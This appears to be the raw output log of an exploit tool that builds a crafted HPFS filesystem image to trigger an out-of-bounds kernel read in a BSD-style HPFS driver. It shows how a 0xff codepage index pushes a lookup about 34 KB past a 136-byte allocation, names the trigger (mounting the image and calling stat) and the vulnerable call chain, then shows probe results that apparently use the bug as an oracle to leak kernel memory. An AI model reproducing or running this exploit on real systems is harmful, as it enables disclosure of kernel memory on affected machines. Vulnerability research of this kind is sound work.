[craft] wrote oracle.img  (262144 bytes)
[craft] sp_cpinum=1  -> kmalloc(1*136) = 136-byte hpm_cpdblk
[craft] dirent.de_cpid=0xff -> hpm_cpdblk[255] = +34680 bytes from base
[craft]   OOB read at +34813 bytes (past the 136-byte alloc) on lookup
[craft] trigger: mount image, then 'stat /mnt/x' (any name) -> VOP_LOOKUP
[craft]   -> hpfs_genlookupbyname -> hpfs_cmpfname -> hpfs_toupper OOB
b_upcase[0] at cpdsec+32:
000e020    42  02  03  04                                                
000e024
DEV=vn4
MOUNT_RC=0
=== probe results ===
Probing HPFS mount at /mnt/df864p
  exact-dirent-name(0xFFx4)      rc=0  MATCH (entry found)
  oracle-probe(0x80x4)           rc=0  MATCH (entry found)
  ascii-probe(test)              rc=-1  NO MATCH (ENOENT)